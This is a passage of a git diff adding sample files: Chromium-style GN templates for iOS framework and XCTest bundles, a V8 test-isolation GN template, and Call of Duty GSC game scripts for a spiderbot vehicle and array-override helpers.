+    outputs = [
+      invoker.output,
+    ]
+  }
+}
+
+# Template to package a shared library into an iOS framework bundle.
+#
+# By default, the bundle target this template generates does not link the
+# resulting framework into anything that depends on it. If a dependency wants
+# a link-time (as well as build-time) dependency on the framework bundle,
+# depend against "$target_name+link". If only the build-time dependency is
+# required (e.g., for copying into another bundle), then use "$target_name".
+#
+# Arguments
+#
+#     output_name:
+#         (optional) string, name of the generated framework without the
+#         .framework suffix. If omitted, defaults to target_name.
+#
+#     public_headers:
+#         (optional) list of paths to header file that needs to be copied
+#         into the framework bundle Headers subdirectory. If omitted or
+#         empty then the Headers subdirectory is not created.
+#
+#     sources
+#         (optional) list of files. Needs to be defined and non-empty if
+#         public_headers is defined and non-empty.
+#
+#   enable_code_signing
+#       (optional) boolean, control whether code signing is enabled or not,
+#       default to ios_enable_code_signing if not defined.
+#
+# This template provides two targets for the resulting framework bundle. The
+# link-time behavior varies depending on which of the two targets below is
+# added as a dependency:
+#   - $target_name only adds a build-time dependency. Targets that depend on
+#     it will not link against the framework.
+#   - $target_name+link adds a build-time and link-time dependency. Targets
+#     that depend on it will link against the framework.
+#
+# The build-time-only dependency is used for when a target needs to use the
+# framework either only for resources, or because the target loads it at run-
+# time, via dlopen() or NSBundle. The link-time dependency will cause the
+# dependee to have the framework loaded by dyld at launch.
+#
+# Example of build-time only dependency:
+#
+#     framework_bundle("CoreTeleportation") {
+#       sources = [ ... ]
+#     }
+#
+#     bundle_data("core_teleportation_bundle_data") {
+#       deps = [ ":CoreTeleportation" ]
+#       sources = [ "$root_out_dir/CoreTeleportation.framework" ]
+#       outputs = [ "{{bundle_root_dir}}/Frameworks/{{source_file_part}}" ]
+#     }
+#
+#     app_bundle("GoatTeleporter") {
+#       sources = [ ... ]
+#       deps = [
+#         ":core_teleportation_bundle_data",
+#       ]
+#     }
+#
+# The GoatTeleporter.app will not directly link against
+# CoreTeleportation.framework, but it will be included in the bundle's
+# Frameworks directory.
+#
+# Example of link-time dependency:
+#
+#     framework_bundle("CoreTeleportation") {
+#       sources = [ ... ]
+#       ldflags = [
+#         "-install_name",
+#         "@executable_path/../Frameworks/$target_name.framework"
+#       ]
+#     }
+#
+#     bundle_data("core_teleportation_bundle_data") {
+#       deps = [ ":CoreTeleportation+link" ]
+#       sources = [ "$root_out_dir/CoreTeleportation.framework" ]
+#       outputs = [ "{{bundle_root_dir}}/Frameworks/{{source_file_part}}" ]
+#     }
+#
+#     app_bundle("GoatTeleporter") {
+#       sources = [ ... ]
+#       deps = [
+#         ":core_teleportation_bundle_data",
+#       ]
+#     }
+#
+# Note that the framework is still copied to the app's bundle, but dyld will
+# load this library when the app is launched because it uses the "+link"
+# target as a dependency. This also requires that the framework set its
+# install_name so that dyld can locate it.
+#
+# See "gn help shared_library" for more information on arguments supported
+# by shared library target.
+template("ios_framework_bundle") {
+  _target_name = target_name
+  _output_name = target_name
+  if (defined(invoker.output_name)) {
+    _output_name = invoker.output_name
+  }
+
+  _has_public_headers =
+      defined(invoker.public_headers) && invoker.public_headers != []
+
+  if (_has_public_headers) {
+    _framework_headers_target = _target_name + "_framework_headers"
+    _framework_headers_config = _target_name + "_framework_headers_config"
+    _headers_map_config = _target_name + "_headers_map"
+  }
+
+  _arch_shared_library_source = _target_name + "_arch_shared_library_sources"
+  _arch_shared_library_target = _target_name + "_arch_shared_library"
+  _lipo_shared_library_target = _target_name + "_shared_library"
+
+  source_set(_arch_shared_library_source) {
+    forward_variables_from(invoker,
+                           "*",
+                           [
+                             "bundle_deps",
+                             "bundle_deps_filter",
+                             "data_deps",
+                             "enable_code_signing",
+                             "info_plist",
+                             "info_plist_target",
+                             "output_name",
+                             "visibility",
+                           ])
+
+    visibility = [ ":$_arch_shared_library_target" ]
+
+    if (_has_public_headers) {
+      configs += [
+        ":$_framework_headers_config($default_toolchain)",
+        ":$_headers_map_config($default_toolchain)",
+      ]
+
+      if (!defined(deps)) {
+        deps = []
+      }
+      deps += [ ":$_framework_headers_target($default_toolchain)" ]
+    }
+  }
+
+  shared_library(_arch_shared_library_target) {
+    forward_variables_from(invoker,
+                           "*",
+                           [
+                             "bundle_deps",
+                             "bundle_deps_filter",
+                             "data_deps",
+                             "enable_code_signing",
+                             "info_plist",
+                             "info_plist_target",
+                             "output_name",
+                             "sources",
+                             "visibility",
+                           ])
+
+    visibility = [ ":$_lipo_shared_library_target($default_toolchain)" ]
+    if (current_toolchain != default_toolchain) {
+      visibility += [ ":$_target_name" ]
+    }
+
+    if (!defined(deps)) {
+      deps = []
+    }
+    deps += [ ":$_arch_shared_library_source" ]
+
+    if (!defined(ldflags)) {
+      ldflags = []
+    }
+    ldflags += [
+      "-Xlinker",
+      "-install_name",
+      "-Xlinker",
+      "@rpath/$_output_name.framework/$_output_name",
+      "-Xlinker",
+      "-objc_abi_version",
+      "-Xlinker",
+      "2",
+    ]
+
+    output_extension = ""
+    output_name = _output_name
+    output_prefix_override = true
+    output_dir = "$target_out_dir/$current_cpu"
+  }
+
+  if (current_toolchain != default_toolchain) {
+    # For fat builds, only the default toolchain will generate a framework
+    # bundle. For the other toolchains, the template is only used for building
+    # the arch-specific binary, thus the default target is just a group().
+
+    group(_target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "visibility",
+                               "testonly",
+                             ])
+      public_deps = [
+        ":$_arch_shared_library_target",
+      ]
+    }
+
+    group(_target_name + "+link") {
+      forward_variables_from(invoker,
+                             [
+                               "visibility",
+                               "testonly",
+                             ])
+      public_deps = [
+        ":$_target_name+link($default_toolchain)",
+      ]
+    }
+
+    if (defined(invoker.bundle_deps)) {
+      assert(invoker.bundle_deps != [], "mark bundle_deps as used")
+    }
+  } else {
+    if (_has_public_headers) {
+      _public_headers = invoker.public_headers
+      _framework_root = "$root_out_dir/$_output_name.framework"
+
+      _header_map_filename = "$target_gen_dir/$_output_name.headers.hmap"
+
+      _compile_headers_map_target = _target_name + "_compile_headers_map"
+      action(_compile_headers_map_target) {
+        visibility = [ ":$_framework_headers_target" ]
+        script = "//build/config/ios/write_framework_hmap.py"
+        outputs = [
+          _header_map_filename,
+        ]
+
+        # The header map generation only wants the list of headers, not all of
+        # sources, so filter any non-header source files from "sources". It is
+        # less error prone that having the developer duplicate the list of all
+        # headers in addition to "sources".
+        set_sources_assignment_filter([
+                                        "*.c",
+                                        "*.cc",
+                                        "*.cpp",
+                                        "*.m",
+                                        "*.mm",
+                                      ])
+        sources = invoker.sources
+        set_sources_assignment_filter([])
+
+        args = [
+                 rebase_path(_header_map_filename),
+                 rebase_path(_framework_root, root_build_dir),
+               ] + rebase_path(sources, root_build_dir)
+      }
+
+      _create_module_map_target = _target_name + "_module_map"
+      action(_create_module_map_target) {
+        visibility = [ ":$_framework_headers_target" ]
+        script = "//build/config/ios/write_framework_modulemap.py"
+        outputs = [
+          "$_framework_root/Modules/module.modulemap",
+        ]
+        args = [ rebase_path("$_framework_root", root_build_dir) ]
+      }
+
+      _copy_public_headers_target = _target_name + "_copy_public_headers"
+      copy(_copy_public_headers_target) {
+        visibility = [ ":$_framework_headers_target" ]
+        sources = _public_headers
+        outputs = [
+          "$_framework_root/Headers/{{source_file_part}}",
+        ]
+      }
+
+      config(_headers_map_config) {
+        visibility = [ ":$_target_name" ]
+        include_dirs = [ _header_map_filename ]
+      }
+
+      group(_framework_headers_target) {
+        deps = [
+          ":$_compile_headers_map_target",
+          ":$_copy_public_headers_target",
+          ":$_create_module_map_target",
+        ]
+      }
+
+      config(_framework_headers_config) {
+        # The link settings are inherited from the framework_bundle config.
+        cflags = [
+          "-F",
+          rebase_path("$root_out_dir/.", root_build_dir),
+        ]
+      }
+    }
+
+    lipo_binary(_lipo_shared_library_target) {
+      forward_variables_from(invoker,
+                             [
+                               "configs",
+                               "testonly",
+                             ])
+
+      visibility = [ ":$_target_name" ]
+      output_name = _output_name
+      arch_binary_target = ":$_arch_shared_library_target"
+      arch_binary_output = _output_name
+    }
+
+    _framework_public_config = _target_name + "_public_config"
+    config(_framework_public_config) {
+      # TODO(sdefresne): should we have a framework_dirs similar to lib_dirs
+      # and include_dirs to avoid duplicate values on the command-line.
+      visibility = [ ":$_target_name" ]
+      ldflags = [
+        "-F",
+        rebase_path("$root_out_dir/.", root_build_dir),
+      ]
+      lib_dirs = [ root_out_dir ]
+      libs = [ "$_output_name.framework" ]
+    }
+
+    _info_plist_target = _target_name + "_info_plist"
+    _info_plist_bundle = _target_name + "_info_plist_bundle"
+    ios_info_plist(_info_plist_target) {
+      visibility = [ ":$_info_plist_bundle" ]
+      executable_name = _output_name
+      forward_variables_from(invoker,
+                             [
+                               "extra_substitutions",
+                               "info_plist",
+                               "info_plist_target",
+                             ])
+    }
+
+    bundle_data(_info_plist_bundle) {
+      visibility = [ ":$_target_name" ]
+      forward_variables_from(invoker, [ "testonly" ])
+      sources = get_target_outputs(":$_info_plist_target")
+      outputs = [
+        "{{bundle_root_dir}}/Info.plist",
+      ]
+      public_deps = [
+        ":$_info_plist_target",
+      ]
+    }
+
+    create_signed_bundle(_target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "bundle_deps",
+                               "bundle_deps_filter",
+                               "data_deps",
+                               "deps",
+                               "enable_code_signing",
+                               "public_configs",
+                               "public_deps",
+                               "testonly",
+                               "visibility",
+                             ])
+
+      product_type = "com.apple.product-type.framework"
+      bundle_extension = ".framework"
+
+      output_name = _output_name
+      bundle_binary_target = ":$_lipo_shared_library_target"
+      bundle_binary_output = _output_name
+
+      if (!defined(deps)) {
+        deps = []
+      }
+      deps += [ ":$_info_plist_bundle" ]
+    }
+
+    group(_target_name + "+link") {
+      forward_variables_from(invoker,
+                             [
+                               "public_deps",
+                               "public_configs",
+                               "testonly",
+                               "visibility",
+                             ])
+      if (!defined(public_deps)) {
+        public_deps = []
+      }
+      public_deps += [ ":$_target_name" ]
+      if (!defined(public_configs)) {
+        public_configs = []
+      }
+      public_configs += [ ":$_framework_public_config" ]
+
+      if (_has_public_headers) {
+        public_configs += [ ":$_framework_headers_config" ]
+      }
+    }
+
+    bundle_data(_target_name + "+bundle") {
+      forward_variables_from(invoker,
+                             [
+                               "testonly",
+                               "visibility",
+                             ])
+      public_deps = [
+        ":$_target_name",
+      ]
+      sources = [
+        "$root_out_dir/$_output_name.framework",
+      ]
+      outputs = [
+        "{{bundle_resources_dir}}/Frameworks/$_output_name.framework",
+      ]
+    }
+  }
+}
+
+set_defaults("ios_framework_bundle") {
+  configs = default_shared_library_configs
+}
+
+# For Chrome on iOS we want to run XCTests for all our build configurations
+# (Debug, Release, ...). In addition, the symbols visibility is configured to
+# private by default. To simplify testing with those constraints, our tests are
+# compiled in the TEST_HOST target instead of the .xctest bundle.
+template("ios_xctest_test") {
+  _target_name = target_name
+  _output_name = target_name
+  if (defined(invoker.output_name)) {
+    _output_name = invoker.output_name
+  }
+
+  _xctest_target = _target_name + "_module"
+  _xctest_output = _output_name + "_module"
+
+  _host_target = _target_name
+  _host_output = _output_name
+
+  _xctest_arch_loadable_module_target = _xctest_target + "_arch_loadable_module"
+  _xctest_lipo_loadable_module_target = _xctest_target + "_loadable_module"
+
+  loadable_module(_xctest_arch_loadable_module_target) {
+    visibility = [ ":$_xctest_lipo_loadable_module_target($default_toolchain)" ]
+    if (current_toolchain != default_toolchain) {
+      visibility += [ ":$_xctest_target" ]
+    }
+
+    sources = [
+      "//build/config/ios/xctest_shell.mm",
+    ]
+    configs += [ "//build/config/ios:xctest_config" ]
+
+    output_dir = "$target_out_dir/$current_cpu"
+    output_name = _xctest_output
+    output_prefix_override = true
+    output_extension = ""
+  }
+
+  if (current_toolchain != default_toolchain) {
+    # For fat builds, only the default toolchain will generate a test bundle.
+    # For the other toolchains, the template is only used for building the
+    # arch-specific binary, thus the default target is just a group().
+    group(_xctest_target) {
+      forward_variables_from(invoker,
+                             [
+                               "visibility",
+                               "testonly",
+                             ])
+      public_deps = [
+        ":$_xctest_arch_loadable_module_target",
+      ]
+    }
+  } else {
+    _xctest_info_plist_target = _xctest_target + "_info_plist"
+    _xctest_info_plist_bundle = _xctest_target + "_info_plist_bundle"
+    ios_info_plist(_xctest_info_plist_target) {
+      visibility = [ ":$_xctest_info_plist_bundle" ]
+      info_plist = "//build/config/ios/Module-Info.plist"
+      extra_substitutions = [ "MODULE_NAME=$_xctest_output" ]
+      executable_name = _host_output
+    }
+
+    bundle_data(_xctest_info_plist_bundle) {
+      visibility = [ ":$_xctest_target" ]
+      public_deps = [
+        ":$_xctest_info_plist_target",
+      ]
+      sources = get_target_outputs(":$_xctest_info_plist_target")
+      outputs = [
+        "{{bundle_root_dir}}/Info.plist",
+      ]
+    }
+
+    lipo_binary(_xctest_lipo_loadable_module_target) {
+      forward_variables_from(invoker,
+                             [
+                               "configs",
+                               "testonly",
+                             ])
+
+      visibility = [ ":$_xctest_target" ]
+      output_name = _xctest_output
+      arch_binary_target = ":$_xctest_arch_loadable_module_target"
+      arch_binary_output = _xctest_output
+    }
+
+    _xctest_bundle = _xctest_target + "_bundle"
+    create_signed_bundle(_xctest_target) {
+      forward_variables_from(invoker, [ "enable_code_signing" ])
+      visibility = [ ":$_xctest_bundle" ]
+
+      product_type = "com.apple.product-type.bundle.unit-test"
+      bundle_extension = ".xctest"
+
+      output_name = _xctest_output
+      bundle_binary_target = ":$_xctest_lipo_loadable_module_target"
+      bundle_binary_output = _xctest_output
+
+      deps = [
+        ":$_xctest_info_plist_bundle",
+      ]
+    }
+
+    bundle_data(_xctest_bundle) {
+      visibility = [ ":$_host_target" ]
+      public_deps = [
+        ":$_xctest_target",
+      ]
+      sources = [
+        "$root_out_dir/$_xctest_output.xctest",
+      ]
+      outputs = [
+        "{{bundle_plugins_dir}}/$_xctest_output.xctest",
+      ]
+    }
+  }
+
+  ios_app_bundle(_host_target) {
+    forward_variables_from(invoker, "*", [ "testonly" ])
+
+    testonly = true
+    output_name = _host_output
+    configs += [ "//build/config/ios:xctest_config" ]
+
+    if (!defined(invoker.info_plist) && !defined(invoker.info_plist_target)) {
+      info_plist = "//build/config/ios/Host-Info.plist"
+    }
+
+    # Xcode needs those two framework installed in the application (and signed)
+    # for the XCTest to run, so install them using extra_system_frameworks.
+    _ios_platform_library = "$ios_sdk_platform_path/Developer/Library"
+    extra_system_frameworks = [
+      "$_ios_platform_library/Frameworks/XCTest.framework",
+      "$_ios_platform_library/PrivateFrameworks/IDEBundleInjection.framework",
+    ]
+
+    if (current_toolchain == default_toolchain) {
+      if (!defined(bundle_deps)) {
+        bundle_deps = []
+      }
+      bundle_deps += [ ":$_xctest_bundle" ]
+    }
+
+    if (!defined(ldflags)) {
+      ldflags = []
+    }
+    ldflags += [
+      "-Xlinker",
+      "-rpath",
+      "-Xlinker",
+      "@executable_path/Frameworks",
+      "-Xlinker",
+      "-rpath",
+      "-Xlinker",
+      "@loader_path/Frameworks",
+    ]
+  }
+}
+
+set_defaults("ios_xctest_test") {
+  configs = default_executable_configs
+}
diff --git a/samples/GN/isolate.gni b/samples/GN/isolate.gni
new file mode 100644
index 0000000000..3906cf60ef
--- /dev/null
+++ b/samples/GN/isolate.gni
@@ -0,0 +1,193 @@
+# Copyright 2016 the V8 project authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import("//build/config/sanitizers/sanitizers.gni")
+import("//third_party/icu/config.gni")
+import("v8.gni")
+
+declare_args() {
+  # Sets the test isolation mode (noop|prepare|check).
+  v8_test_isolation_mode = "noop"
+}
+
+template("v8_isolate_run") {
+  forward_variables_from(invoker,
+                         "*",
+                         [
+                           "deps",
+                           "isolate",
+                         ])
+
+  # Remember target name as within the action scope the target name will be
+  # different.
+  name = target_name
+
+  assert(defined(invoker.deps))
+  assert(defined(invoker.isolate))
+
+  if (name != "" && v8_test_isolation_mode != "noop") {
+    action(name + "_run") {
+      testonly = true
+
+      deps = invoker.deps
+
+      script = "//tools/isolate_driver.py"
+
+      sources = [
+        invoker.isolate,
+      ]
+
+      inputs = [
+        # Files that are known to be involved in this step.
+        "//tools/swarming_client/isolate.py",
+        "//tools/swarming_client/run_isolated.py",
+      ]
+
+      if (v8_test_isolation_mode == "prepare") {
+        outputs = [
+          "$root_out_dir/$name.isolated.gen.json",
+        ]
+      } else if (v8_test_isolation_mode == "check") {
+        outputs = [
+          "$root_out_dir/$name.isolated",
+          "$root_out_dir/$name.isolated.state",
+        ]
+      }
+
+      # Translate gn to gyp variables.
+      if (is_asan) {
+        asan = "1"
+      } else {
+        asan = "0"
+      }
+      if (is_msan) {
+        msan = "1"
+      } else {
+        msan = "0"
+      }
+      if (is_tsan) {
+        tsan = "1"
+      } else {
+        tsan = "0"
+      }
+      if (is_cfi) {
+        cfi_vptr = "1"
+      } else {
+        cfi_vptr = "0"
+      }
+      if (target_cpu == "x86") {
+        target_arch = "ia32"
+      } else {
+        target_arch = target_cpu
+      }
+      if (is_debug) {
+        configuration_name = "Debug"
+      } else {
+        configuration_name = "Release"
+      }
+      if (is_component_build) {
+        component = "shared_library"
+      } else {
+        component = "static_library"
+      }
+      if (icu_use_data_file) {
+        icu_use_data_file_flag = "1"
+      } else {
+        icu_use_data_file_flag = "0"
+      }
+      if (v8_enable_inspector) {
+        enable_inspector = "1"
+      } else {
+        enable_inspector = "0"
+      }
+      if (v8_use_external_startup_data) {
+        use_external_startup_data = "1"
+      } else {
+        use_external_startup_data = "0"
+      }
+      if (v8_use_snapshot) {
+        use_snapshot = "true"
+      } else {
+        use_snapshot = "false"
+      }
+      if (v8_has_valgrind) {
+        has_valgrind = "1"
+      } else {
+        has_valgrind = "0"
+      }
+      if (v8_gcmole) {
+        gcmole = "1"
+      } else {
+        gcmole = "0"
+      }
+
+      # Note, all paths will be rebased in isolate_driver.py to be relative to
+      # the isolate file.
+      args = [
+        v8_test_isolation_mode,
+        "--isolated",
+        rebase_path("$root_out_dir/$name.isolated", root_build_dir),
+        "--isolate",
+        rebase_path(invoker.isolate, root_build_dir),
+
+        # Path variables are used to replace file paths when loading a .isolate
+        # file
+        "--path-variable",
+        "DEPTH",
+        rebase_path("//", root_build_dir),
+        "--path-variable",
+        "PRODUCT_DIR",
+        rebase_path(root_out_dir, root_build_dir),
+
+        # TODO(machenbach): Set variables for remaining features.
+        "--config-variable",
+        "CONFIGURATION_NAME=$configuration_name",
+        "--config-variable",
+        "OS=$target_os",
+        "--config-variable",
+        "asan=$asan",
+        "--config-variable",
+        "cfi_vptr=$cfi_vptr",
+        "--config-variable",
+        "gcmole=$gcmole",
+        "--config-variable",
+        "has_valgrind=$has_valgrind",
+        "--config-variable",
+        "icu_use_data_file_flag=$icu_use_data_file_flag",
+        "--config-variable",
+        "is_gn=1",
+        "--config-variable",
+        "msan=$msan",
+        "--config-variable",
+        "tsan=$tsan",
+        "--config-variable",
+        "coverage=0",
+        "--config-variable",
+        "sanitizer_coverage=0",
+        "--config-variable",
+        "component=$component",
+        "--config-variable",
+        "target_arch=$target_arch",
+        "--config-variable",
+        "v8_enable_inspector=$enable_inspector",
+        "--config-variable",
+        "v8_use_external_startup_data=$use_external_startup_data",
+        "--config-variable",
+        "v8_use_snapshot=$use_snapshot",
+      ]
+
+      if (is_win) {
+        args += [
+          "--config-variable",
+          "msvs_version=2015",
+        ]
+      } else {
+        args += [
+          "--config-variable",
+          "msvs_version=0",
+        ]
+      }
+    }
+  }
+}
diff --git a/samples/GSC/_spiderbot_ride.csc b/samples/GSC/_spiderbot_ride.csc
new file mode 100644
index 0000000000..9ed541d016
--- /dev/null
+++ b/samples/GSC/_spiderbot_ride.csc
@@ -0,0 +1,48 @@
+#include clientscripts\_utility; 
+#include clientscripts\_filter;
+
+#using_animtree("player");
+
+
+init()
+{
+	clientscripts\_driving_fx::add_vehicletype_callback( "spiderbot_large", ::drive_spiderbot );
+}
+
+
+//
+//
+drive_spiderbot( localClientNum )
+{
+	self endon( "entityshutdown" );
+	
+	while( 1 )
+	{
+		self waittill( "enter_vehicle", player );
+		
+		init_filter_karma_spiderbot( player );
+		enable_filter_karma_spiderbot( player, 0 );
+                SetSavedDvar( "r_stereo3DEyeSeparationScaler", 0.01);
+
+	
+		//TODO: Get this to work in the vehicle GDT, somehow overcoming the lack of wheels
+		if( isdefined( level._audio_spiderbot_override ) )
+		{
+			self thread [[level._audio_spiderbot_override]](player);
+		}
+
+		// This compass isn't working they way it needs to.		
+		// Create the compass
+//		spider_compass = Spawn( player GetLocalClientNumber(), player GetOrigin(), "script_model" );
+//		spider_compass SetModel( "p6_3d_gizmo" );
+//		spider_compass SetViewmodelRenderflag( true );
+//		spider_compass LinkToCamera( 5, (16, 0, 12) );	// in/out, left/right, up/down
+
+		self waittill( "exit_vehicle" );
+
+		disable_filter_karma_spiderbot( player, 0 );
+                SetSavedDvar( "r_stereo3DEyeSeparationScaler", 1);
+
+//		spider_compass delete();
+	}
+}
diff --git a/samples/GSC/array_override_common.gsc b/samples/GSC/array_override_common.gsc
new file mode 100644
index 0000000000..bf9b08bd50
--- /dev/null
+++ b/samples/GSC/array_override_common.gsc
@@ -0,0 +1,209 @@
+#using scripts\shared\array_shared;
+#using scripts\shared\callbacks_shared;
+#using scripts\shared\flag_shared;
+#using scripts\shared\util_shared;
+#insert scripts\shared\shared.gsh;
+#insert scripts\zm\array_override\array_override_common.gsh;
+
+#namespace array_override;
+
+#define NOTIFY_SELF(n_add) self notify("override_state_change",n_type,str_name,n_add,is_override_exluded_from_notif(str_name))
+
+function register(str_name,n_type,func)
+{
+	switch(n_type)
+	{
+		case ARRAY_RANDOM:
+			DEFAULT(self.array_random_override,array());
+			self.array_random_override[str_name] = func;
+			break;
+		case ARRAY_RANDOMIZE:
+			DEFAULT(self.array_randomize_override,array());
+			self.array_randomize_override[str_name] = func;
+			break;
+	}
+	NOTIFY_SELF(1);
+}
+
+function unregister(str_name,n_type)
+{
+	switch(n_type)
+	{
+		case ARRAY_RANDOM:
+			ArrayRemoveIndex(self.array_random_override,str_name,1);
+			break;
+		case ARRAY_RANDOMIZE:
+			ArrayRemoveIndex(self.array_randomize_override,str_name,1);
+			break;
+	}
+	NOTIFY_SELF(-1);
+}
+
+function private reregister(str_name,n_type)
+{
+	switch(n_type)
+	{
+		case ARRAY_RANDOM:
+			func = self.array_random_override[str_name];
+			break;
+		case ARRAY_RANDOMIZE:
+			func = self.array_randomize_override[str_name];
+			break;
+	}
+	if (!isdefined(func)) return;
+	increment_exclude_from_notif(str_name);
+	unregister(str_name,n_type);
+	register(str_name,n_type,func);
+	decrement_exclude_from_notif(str_name);
+}
+
+#define EXCLUDE_FROM_NOTIF_DEFAULTS MAKE_ARRAY(self.override_notif_exclude) DEFAULT(self.override_notif_exclude[str_name],0);
+function increment_exclude_from_notif(str_name)
+{
+	EXCLUDE_FROM_NOTIF_DEFAULTS
+	self.override_notif_exclude[str_name]++;
+}
+
+function decrement_exclude_from_notif(str_name)
+{
+	EXCLUDE_FROM_NOTIF_DEFAULTS
+	self.override_notif_exclude[str_name]--;
+	if (self.override_notif_exclude[str_name] <= 0) ArrayRemoveIndex(self.override_notif_exclude,str_name,1);
+}
+
+function private is_override_exluded_from_notif(str_name)
+{
+	MAKE_ARRAY(self.override_notif_exclude)
+	return IS_TRUE(self.override_notif_exclude[str_name]);
+}
+
+function autoexec init_player_overrides()
+{
+	callback::on_connect(&on_player_connect);
+}
+
+function private on_player_connect()
+{
+	self.array_random_override = array();
+	self.array_randomize_override = array();
+}
+
+function register_recursive(str_name,n_type,func,b_ex_notif = false)
+{
+	switch(n_type)
+	{
+		case ARRAY_RANDOM:
+			DEFAULT(level.recursive_random_override,array());
+			level.recursive_random_override[str_name] = SpawnStruct();
+			struct = level.recursive_random_override[str_name];
+			break;
+		case ARRAY_RANDOMIZE:
+			DEFAULT(level.recursive_randomize_override,array());
+			level.recursive_randomize_override[str_name] = SpawnStruct();
+			struct = level.recursive_randomize_override[str_name];
+			break;
+	}
+	struct.func = func;
+	struct.b_ex_notif = b_ex_notif;
+	struct.count = 0;
+	struct.a_flag = array();
+}
+
+#define RECURSIVE_SWITCHBLOCK switch(n_type){\
+	case ARRAY_RANDOM: struct = level.recursive_random_override[str_name];break;\
+	case ARRAY_RANDOMIZE: struct = level.recursive_randomize_override[str_name];break;}\
+	if (!isdefined(struct)) return;
+
+function increment_register(str_name,n_type)
+{
+	RECURSIVE_SWITCHBLOCK
+	if (struct.count <= 0)
+	{
+		struct.count = 0;
+		if (struct.b_ex_notif) level increment_exclude_from_notif(str_name);
+		level register(str_name,n_type,struct.func);
+	}
+	struct.count++;
+	thread update_recursive_flags(struct);
+}
+
+function decrement_register(str_name,n_type,b_unregister = false)
+{
+	RECURSIVE_SWITCHBLOCK
+	struct.count--;
+	if (b_unregister || struct.count <= 0)
+	{
+		level unregister(str_name,n_type);
+		if (struct.b_ex_notif) level decrement_exclude_from_notif(str_name);
+		struct.count = 0;
+	}
+	thread update_recursive_flags(struct);
+}
+
+function run_recursive_override_instance(str_name,n_type,func)
+{
+	//fix this
+	id = self GetEntityNumber() + 1;
+	wait(.05 * id);
+	//
+	increment_register(str_name,n_type);
+	[[func]]();
+	decrement_register(str_name,n_type);
+}
+
+function add_recursive_override_flag(str_name,n_type,a_flags)
+{
+	RECURSIVE_SWITCHBLOCK
+	DEFAULT(struct.a_flag,array());
+	foreach (flag in a_flags)
+	{
+		if (!IsArray(flag)) flag_array = array(flag);
+		else flag_array = flag;
+		str_flag = flag_array[0];
+		if (!IsString(str_flag)) continue;
+		n_count = VAL(flag_array[1],0);
+		flag_struct = SpawnStruct();
+		flag_struct.flag = str_flag;
+		flag_struct.required_count = n_count;
+		flag_struct.comparison = flag_array[2];
+		struct.a_flag[struct.a_flag.size] = flag_struct;
+		level flag::init(str_flag);
+		update_specific_flag(flag_struct,struct.count);
+	}
+}
+
+function update_recursive_flags(struct)
+{
+	foreach (flag_struct in struct.a_flag)
+	{
+		update_specific_flag(flag_struct,struct.count);
+	}
+}
+
+function private update_specific_flag(flag_struct,n_count)
+{
+	if (IsFunctionPtr(flag_struct.required_count)) required_count = [[flag_struct.required_count]]();
+	else required_count = flag_struct.required_count;
+
+	if (IsFunctionPtr(flag_struct.comparison)) b_val = [[flag_struct.comparison]](n_count,required_count);
+	else b_val = n_count === required_count;
+
+	if (isdefined(b_val)) level flag::set_val(flag_struct.flag,b_val);
+}
+
+function link_to_recursive_flag(str_name,n_type,a_flag,b_waitForAll = false)
+{
+	level endon("end_game");
+	if (!isdefined(a_flag)) return;
+	if (!IsArray(a_flag)) a_flag = array(a_flag);
+	if (b_waitForAll) {waitFunc = &flag::wait_till_all; waitClearFunc = &flag::wait_till_clear_all;}
+	else {waitFunc = &flag::wait_till_any; waitClearFunc = &flag::wait_till_clear_all;}
+
+	while(1)
+	{
+		level [[waitFunc]](a_flag);
+		level [[waitClearFunc]](a_flag);
+		wait .05;
+		level reregister(str_name,n_type);
+	}
+}
\ No newline at end of file
diff --git a/samples/GSC/array_override_common.gsh b/samples/GSC/array_override_common.gsh
new file mode 100644
index 0000000000..7ec539ea41
--- /dev/null
+++ b/samples/GSC/array_override_common.gsh
@@ -0,0 +1,116 @@
+
+#define NUM_TYPES 2
+#define ARRAY_RANDOM 0
+#define ARRAY_RANDOMIZE 1
+
+#define REGISTER_OVERRIDE(str_name,n_type,func) array_override::register(str_name,n_type,func)
+#define UNREGISTER_OVERRIDE(str_name,n_type) array_override::unregister(str_name,n_type)
+#define NOTIF_EXLUDE(str_name) array_override::increment_exclude_from_notif(str_name)
+#define REMOVE_NOTIF_EXCLUDE(str_name) array_override::decrement_exclude_from_notif(str_name)
+#define REGISTER_OVERRIDE_EX_NOTIF(str_name,n_type,func) NOTIF_EXLUDE(str_name);REGISTER_OVERRIDE(str_name,n_type,func)
+#define UNREGISTER_OVERRIDE_EX_NOTIF(str_name,n_type) UNREGISTER_OVERRIDE(str_name,n_type);REMOVE_NOTIF_EXCLUDE(str_name)
+
+#define REGISTER_RECURSIVE(str_name,n_type,func) array_override::register_recursive(str_name,n_type,func)
+#define REGISTER_RECURSIVE_EX_NOTIF(str_name,n_type,func) array_override::register_recursive(str_name,n_type,func,true)
+#define INCREMENT_REGISTER(str_name,n_type) array_override::increment_register(str_name,n_type)
+#define DECREMENT_REGISTER(str_name,n_type) array_override::decrement_register(str_name,n_type)
+#define RESET_RECURSIVE(str_name,n_type) array_override::decrement_register(str_name,n_type,true)
+#define RUN_RECURSIVE(str_name,n_type,func) array_override::run_recursive_override_instance(str_name,n_type,func)
+#define ADD_RECURSIVE_FLAG(str_name,n_type,a_flag) array_override::add_recursive_override_flag(str_name,n_type,a_flag)
+#define LINK_TO_RECURSIVE_FLAG(str_name,n_type,a_flag) thread array_override::link_to_recursive_flag(str_name,n_type,a_flag)
+#define RECURSIVE_ENDON self endon("disconnect");
+
+#define CALL_ONCE_FLAG(__name) if (isdefined(level.__name)) return; level.__name = 1;
+
+#define IS_FIELD_OBJECT(_val) (isdefined(_val) && (IsEntity(_val) || (!IsInt(_val) && !IsFloat(_val) && !IsString(_val) && !IsArray(_val) && !IsFunctionPtr(_val) && !IsVec(_val))))
+#define IF_KVP_MATCH(__key,__val,__ent) struct_or_ent = __ent; if (!IS_FIELD_OBJECT(struct_or_ent)) return; if (struct_or_ent.__key === __val)
+#define IF_TARGETNAME_MATCH(__targetname,__ent) IF_KVP_MATCH(targetname,__targetname,__ent)
+#define IF_NOTEWORTHY_MATCH(__noteworthy,__ent) IF_KVP_MATCH(script_noteworthy,__noteworthy,__ent)
+
+#define RETURN_IF_ARRAY(__ret) if (IsArray(__ret)) return __ret;
+#define ARRAY_SAFE_RETURN(__listName) i = self GetEntityNumber();\
+		RETURN_IF_ARRAY(__listName[i])\
+		RETURN_IF_ARRAY(__listName[0])\
